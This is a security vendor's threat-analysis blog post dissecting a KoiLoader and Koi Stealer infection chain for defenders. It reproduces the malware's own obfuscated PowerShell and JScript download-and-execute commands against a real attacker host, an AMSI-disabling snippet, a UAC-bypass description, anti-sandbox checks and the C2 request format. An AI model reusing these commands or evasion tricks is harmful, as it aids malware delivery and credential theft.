Blog

The Long and Short(cut) of It: KoiLoader Analysis

BY eSentire Threat Response Unit (TRU)

March 26, 2025 | 13 MINS READ

Attacks/Breaches

Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

Want to learn more on how to achieve Cyber Resilience?

TALK TO AN EXPERT

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In March 2025, the eSentire Threat Response Unit (TRU) detected an intrusion attempt involving the use of a shortcut file leading to the loading of a new version of KoiLoader, a malware loader that facilitates Command and Control (CnC), and downloads/executes Koi Stealer, an information stealer written in C# with advanced information stealing capabilities.

Infection Chain

The infection chain can be seen in the figure below.

Figure 1 – Infection chain
Figure 1 – Infection chain

Initial Access

Initial access is achieved through a spam email and link to a zip file, “chase_statement_march.zip”, similarly to our prior report. Within the zip file, the victim clicks a shortcut file named “chase_statement_march.lnk”, which serves to download and execute KoiLoader. This shortcut file makes use of a well-known, low-severity bug in Windows to effectively conceal the command line arguments when viewing the file's properties.

As seen in the figure below, the “Target” field is truncated and the remaining contents of the malicious command are unable to be viewed.

Figure 2 – Shortcut file using ZDI-CAN-25373
Figure 2 – Shortcut file using ZDI-CAN-25373

The full contents of the malicious command can be seen below. First, two JScript files are downloaded to C:\ProgramData\g1siy9wuiiyxnk.js and C:\ProgramData\i7z1x5npc.js. Next, a scheduled task is created using the LOLBin “schtasks.exe” to run the JScript file g1siy9wuiiyxnk.js.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('g1siy9wuiiyxnk.js i7z1x5npc'); $getf='Dow'+'nl'+'oadF'+'ile'; $w2al9zb7lb86ccs0 = New-Object Net.WebClient; $wscs = 'wscript '; $w2al9zb7lb86ccs0.$getf('https://casettalecese[.]it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'g1siy9wuiiyxnk.js'); . ('curl.exe') -s -o 76mk0ik748fo 'https://casettalecese[.]it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv 76mk0ik748fo 'i7z1x5npc.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ("wscript C:\ProgramData\g1siy9wuiiyxnk.js i7z1x5npc") /tn i7z1x5npc;
Figure 3 – Malicious command from lnk file

The contents of g1siy9wuiiyxnk.js can be seen below. The purpose of the script is to delete the scheduled task created before and run a new instance of wscript to execute i7z1x5npc.js.

It is highly likely that this technique is being used to evade detection, as the parent process of wscript.exe is usually explorer.exe in attacks involving the user double clicking a script file, whereas using this technique, the parent process is svchost.exe, giving the impression that WScript was launched by a more trustworthy parent process chain.

var dol3 = new ActiveXObject("WScript.Shell") 
dol3.Run("powershell -command \"schtasks /delete /tn " + WScript.arguments(0) + " /f; wscript $env:programdata\\" + WScript.arguments(0) + ".js \"", 0)
Figure 4 – Contents of g1siy9wuiiyxnk.js

The contents of the script i7z1x5npc.js can be seen below, which performs the following actions:

  1. Acquires the victim machine’s unique identifier GUID via the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid”.
  2. Copy the current script (i7z1x5npc.js) to C:\ProgramData\“r” + <GUID> + “r”.js.
  3. Send two GET requests to download two PowerShell scripts delivered via the URLS “https://casettalecese[.]it/wp-content/uploads/2022/10/boomier10qD0.php” and https://casettalecese[.]it/wp-content/uploads/2022/10/nephralgiaMsy.ps1. The responses are then evaluated as code via Invoke-Expression (IEX).
var f1="Scr",f2="ing.Fi",f3="stemOb" 
var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject") 
var w1="WSc",w2="riPt",w4="eLl" 
var wsh=w1+w2+".sH"+w4 
var bbj=new ActiveXObject(wsh) 
var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32" 
var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe" 
var agn='r'+bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid')+'r.js' 
if (WScript.ScriptName != agn) { 
var fs5="yFi" 
try { 
fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\"+agn) 
} catch (e) {} 
} 
var mtx_name="7zAVOXWBV1U0" 
var mtx_file = bbj.ExpandEnvironmentStrings("%tem"+"p%")+"\\"+mtx_name 
var fs1="leteFi" 
var fs2="leExis" 
try { 
fso["De"+fs1+"le"](mtx_file) 
} catch (e) {} 
if (!fso["Fi"+fs2+"ts"](mtx_file)) 
{ 
bbj.Run(rd+" -command \"$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese[.]it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '" + mtx_name + "'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))\"", 0) 
Figure 5 – Contents of i7z1x5npc.js

The purpose of the first PowerShell script (boomier10qD0.php) is to disable Anti-Malware-Scan-Interface (AMSI).

$vl1 = ("L8Ek1EOLdflxxTT2W20qMJ0EsGk12dZO5jxvxTT2W20qMJ0EMRc4Ar2q6SDDxTT2W20qMJ0EVEWXewxquV3axTT2W20qMJ0Eybr4BrPdQsbhxTT2W20qMJ0Ez80MpPbbIoRaxTT2W20qMJ0E1zxbk5cQzLZ9xTT2W20qMJ0E8MOQx7eVpj7ZxTT2W20qMJ0EibyPDx89MPoi" -match "xTT2W20qMJ0E") 
$v2=$c.GetFields("NonPublic,Static") 
Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}} 
Figure 6 – Contents of PowerShell returned via boomier10qD0.php

The purpose of the second PowerShell script (nephralgiaMsy.ps1) is to download the KoiLoader payload, allocate/write shellcode, allocate/write the KoiLoader payload, and execute the shellcode via CreateThread API call, leading to the execution of the KoiLoader payload.

Figure 7 – Contents of nephralgiaMsy.ps1
Figure 7 – Contents of nephralgiaMsy.ps1

KoiLoader Stage 1

The first stage of KoiLoader serves to unpack and execute the next stage. This process can be automated by using our KoiLoader extraction script available here. The unpacking routine makes use of a hashing algorithm to resolve the Windows APIs: FindResourceW, LoadResource, and SizeofResource.

It then calls these APIs to acquire two resources within the PE file that store the next stage encrypted payload and an XOR key. The payload is then written to memory, marked executable, and the OEP is called.

Figure 8 – Unpacking routine
Figure 8 – Unpacking routine

The routine responsible for extracting resources from the PE file can be seen below. The routine essentially resolves the aforementioned APIs and calls them in order to extract the embedded resource within the PE file, returning a pointer to the extracted data.

Figure 9 – Resolve APIs via hash, call APIs, and return pointer to resource data
Figure 9 – Resolve APIs via hash, call APIs, and return pointer to resource data

The routine responsible for resolving APIs via hash can be seen in the figure below. This routine loops over exported names in Kernel32 and computes a hash for each. If the hash matches the dwHash argument supplied to the function, a pointer to the resolved API is returned.

Figure 10 – Resolve APIs via hash
Figure 10 – Resolve APIs via hash

The following python code re-implements the hashing algorithm implemented by the routine denoted in Figure 10 as “fn_compute_hash”. This python code is also available here.

def fn_compute_hash(api_name): 
    dwhash = 0x00000000 

    for i in range(len(api_name)): 
        dwhash = dwhash << 4 
        dwhash = ord(api_name[i]) + dwhash 
        a = dwhash & 0xF0000000 
        if a != 0: 
            x = a >> 0x18 
            dwhash = dwhash ^ x & 0xFFFFFFFF 
            a = (~a) & 0xFFFFFFFF 
            dwhash = dwhash & a 
            continue 

        a = ~a 
        dwhash = dwhash & a  

    return dwhash 

api_name = "FindResourceW" 
hash_val = fn_compute_hash(api_name) 
print(f"The hash value for {api_name} is {hex(hash_val)}") 
# The hash value for FindResourceW is 0x5681127 

api_name = "LoadResource" 
hash_val = fn_compute_hash(api_name) 
print(f"The hash value for {api_name} is {hex(hash_val)}") 
# The hash value for LoadResource is 0x9b3b115 

api_name = "SizeofResource" 
hash_val = fn_compute_hash(api_name) 
print(f"The hash value for {api_name} is {hex(hash_val)}") 
# The hash value for SizeofResource is 0xdaa96b5 
Figure 11 – Hashing algorithm in python

The routine responsible for decrypting the encrypted payload can be seen in the figure below.

Figure 12 – XOR decrypt routine
Figure 12 – XOR decrypt routine

KoiLoader Stage 2

This stage contains the main functionality of KoiLoader, beginning with a check to ensure the malware isn’t running on friendly machines.

This check involves the use of the GetUserDefaultLangID Windows API and compares the return value against the following known friendly language identifiers: Russian, Armenian, Azerbaijani (Latin/Cyrillic), Belarusian, Kazakh, Tajik, Turkmen, Uzbek (Latin/Cyrillic), and Ukrainian. If a match is found, the malware exits.

Figure 13 – Language checks, evasion function call
Figure 13 – Language checks, evasion function call

Evasion

The evasion routine, denoted in the figure above as “fn_evasion” serves to check multiple attributes to identify virtual machines, specifically Hyper-V, VMWare, VirtualBox, Parallels, and QEMU, security researcher machines, and sandboxes. This routine returns TRUE in the event a check passes, and the malware exits.

  1. Display devices are enumerated via EnumDisplayuDevicesW Windows API and checked against the following strings:
    1. Hyper-V
    2. VMWare
    3. Parallels Display Manager
    4. Red Hat QXL controller
    Figure 14 – Display devices check targeting Hyper-V, VMWare, Parallels, and QEMU
    Figure 14 – Display devices check targeting Hyper-V, VMWare, Parallels, and QEMU
  2. The user’s Documents folder is checked for the following files.
    1. Recently.docx
    2. Opened.docx
    3. These.docx
    4. Are.docx
    5. Files.docx
  3. The following files related to VirtualBox are checked:
    1. C:\Windows\System32\VBoxService.exe
    2. C:\Windows\System32\VBoxTray.exe
  4. The user's desktop directory is checked for the following files, checking if the files are 4 bytes in size and contain the string "BAIT".
    1. Resource.txt
    2. OpenVPN.txt
  5. Checks for the file “new songs.txt” in the user’s desktop directory. If the file is found, it checks to ensure the file is 0x37 bytes, if so it checks for the string “Jennifer Lopez & Pitbull - On The Floor\r\nBeyonce - Halo”.
  6. Uses the Windows API GetUserNameW to get the username and lstrcmpW/StrStrW to determine if any of the following known usernames match:
    1. Joe Cage
    2. STRAZNJICA.GRUBUTT
    3. Paul Jones
    4. PJones
    5. Harry Johnson
    6. WDAGUtilityAccount
    7. sal.rosenburg
    8. d5.vc/g
    9. Bruno
  7. Uses the API GetComputerNameW and lstrcmpW to determine if the following computer names match:
    1. DESKTOP-ET51AJO
    2. WILLCARTER-PC
    3. FORTI-PC
    4. SFTOR-PC
  8. Uses the GlobalMemoryStatusEx Windows API to determine if the machine has at least 3050 MB of physical memory.
  9. Checks the user's username against "Anna" and the computer name against "ANNA-PC".

    Figure 15 – Username, computer name, and memory size checks
    Figure 15 – Username, computer name, and memory size checks
  10. Next, the user's Documents folder is checked for files matching: .doc, .docx, .xls, .xlsx and 14 characters in length (excluding file extension). For matches, the file size is checked to ensure it equals 15. This is possibly used by the malware author for debugging purposes to ensure the final evasion method is skipped. For example, if they are debugging their malware as a process other than powershell.exe, they would create these files.
  11. The final evasion measure checks to see if the current process is named powershell.exe, if not the malware exists. This check does not run if the prior check resulted in 21 or more matching files.
Figure 16 – Test files/running as powershell.exe check
Figure 16 – Test files/running as powershell.exe check

UAC Bypass via ICMLuaUtil

KoiLoader makes use of a known UAC bypass to create an exclusion in Microsoft Defender via the ICMLuaUtil Elevated COM interface. The exclusion path is the same directory where the persistence script is located (C:\ProgramData).

Figure 17 – UAC bypass via ICMLuaUtil
Figure 17 – UAC bypass via ICMLuaUtil

Persistence

Persistence is then setup via scheduled task to run the JScript dropper file from earlier (Figure 5), where the file name is the result of concatenating “C:\ProgramData\r” + <MACHINE_GUID> + “r.js”. The machine GUID is obtained via the registry key/value “HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid”.

Figure 18 – Scheduled task
Figure 18 – Scheduled task

Mutex Generation

The C:\ drive’s volume serial number is then acquired via the GetVolumeInformation Windows API and used in generating a GUID to use as a Mutex. The Windows API CreateMutexW is then called to register the mutex, where the return value is checked to ensure the mutex doesn’t already exist. Otherwise, the malware exits ensuring another instance of the loader isn’t running in parallel.

Figure 19 – Create mutex based on C:\ serial number
Figure 19 – Create mutex based on C:\ serial number

Python code for generating the mutex can be seen below.

# Volume serial number in hex format, can be acquired via PowerShell command: 
# (Get-WmiObject Win32_LogicalDisk | Select-Object VolumeSerialNumber).VolumeSerialNumber 
VOLUME_SERIAL_NUMBER = 0x5B23AC1F 

# Perform the calculations 
def calculate_guid_parts(volume_serial_number): 
    v0 = 1219472 * volume_serial_number 
    data3 = (v0 - 18621) & 0xFFFF 
    data1 = (1219472 * v0 + 1728536051) & 0xFFFFFFFF 
    data2 = (-25712 * (data1 & 0xFFFF) - 18621) & 0xFFFF 
    return data1, data2, data3 

def generate_custom_guid(data1, data2, data3): 
    guid_string = f"{data1:08X}-{data2:04X}-{data3:04X}-F3F3-F3F3F3F3F3F3" 
    return guid_string 

if __name__ == "__main__": 
    data1, data2, data3 = calculate_guid_parts(VOLUME_SERIAL_NUMBER) 
    mutex = generate_custom_guid(data1, data2, data3) 
    print(f"Mutex: {mutex}")
Figure 20 – Mutex generation via python

Download/Execute KoiStealer via PowerShell

The routine responsible for downloading and executing KoiStealer can be seen below, which makes use of PowerShell to send a web request via IWR (Invoke-WebRequest) module and evaluates the response as PowerShell code via IEX (Invoke-Expression).

The routine retrieves sd4.ps1 depending on whether the C# compiler v4.0.30319 (csc.exe) is present, otherwise sd2.ps1 is retrieved. Both files serve to download and execute KoiStealer.

The PowerShell command lines used are as follows:

  1. powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd4.ps1”
  2. powershell.exe -command IEX(IWR –UseBasicParsing “https://casettalecese[.]it/wp-content/uploads/2022/10/sd2.ps1”
Figure 21 – Download/execute PowerShell that leads to KoiStealer
Figure 21 – Download/execute PowerShell that leads to KoiStealer

Command and Control

KoiLoader uses HTTP POST requests for Command and Control purposes. The initial request to the C2 contains the victim machine’s GUID, a build ID unique to the campaign, and an X25519 public key encoded in base64. This initial request is denoted with “101” at the beginning of the post request’s body.

POST http://94.247.42[.]253/pilot.php 
HTTP/1.1 Content-Type: application/octet-stream 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko 
Host: 94.247.42.253 
Content-Length: 94 
Proxy-Connection: Keep-Alive 
Pragma: no-cache 
Content-Encoding: binary 

101|<GUID>|45LkAGkF|<PUBLIC_KEY_BASE64> 

The next check in request to the C2 contains the victim machine’s GUID, a 16 byte randomly generated string, and encrypted data containing the victim’s OS major version, minor version, username, computer name, and domain.

Data is encrypted via computing the X25519 shared secret and using it in XORing each plaintext byte. This request type is denoted with “111” in the post data.

POST http://94.247.42[.]253/pilot.php HTTP/1.1 
Content-Type: application/octet-stream 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko 
Host: 94.247.42.253 
Content-Length: 94 
Connection: Keep-Alive 
Pragma: no-cache 
Content-Encoding: binary  

111|<GUID>|<16_BYTE_XOR_KEY_PART_2>|<ENCRYPTED_DATA>
Figure 22 – Collect OS info, domain
Figure 22 – Collect OS info, domain

The next requests involve a loop that runs indefinitely to retrieve commands from the C2 server, with a one second wait between requests. This request type is denoted with “102” at the beginning of the post request’s body.

POST http://94.247.42.253/pilot.php HTTP/1.1 
Content-Type: application/octet-stream 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko 
Host: 94.247.42.253 
Content-Length: 40 
Proxy-Connection: Keep-Alive 
Pragma: no-cache 
Content-Encoding: binary 

102|<GUID>

The response returned is then handled by a jump table (switch statement), where each command is represented as a single character. Each of the commands and their associated description can be seen in the following table.

Command

Description

0x67

Executes scripts/commands via Command Prompt

0x68

Executes scripts/commands via PowerShell

0x69

Enables system shutdown privilege for the running process and performs the shutdown

0x6A

Creates a scheduled task to run agent.js and removes agent.js if present on the host

0x6C

Establishes communication with a C2 server

0x6E

Performs process injection into either explorer.exe or certutil.exe based on the subsystem value (if the subsystem is Console User Interface, the payload is injected into certutil.exe, if it’s Graphical User Interface, the payload is injected into explorer.exe) or writes the payload to %TEMP% folder and directly executes it (the naming convention for the payload is generated with PRNG)

0x70

Dynamically loads and executes a function from a DLL, in our sample, the export function is “Release”

In order to triage C2 activities, we created an emulation script available here. The script generates X25519 private/public keys and computes a shared secret for encrypting data sent to the C2 in the registration process and features the ability to specify a proxy for connecting to KoiLoader C2 and generation of a fake username/computer name.

Figure 23 – KoiLoaderC2 class usage
Figure 23 – KoiLoaderC2 class usage
Figure 24 – KoiLoaderC2 class create private/public key, compute shared secret
Figure 24 – KoiLoaderC2 class create private/public key, compute shared secret

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU):

Indicators of Compromise

References

eSentire Unit
eSentire Threat Response Unit (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Read the Latest from eSentire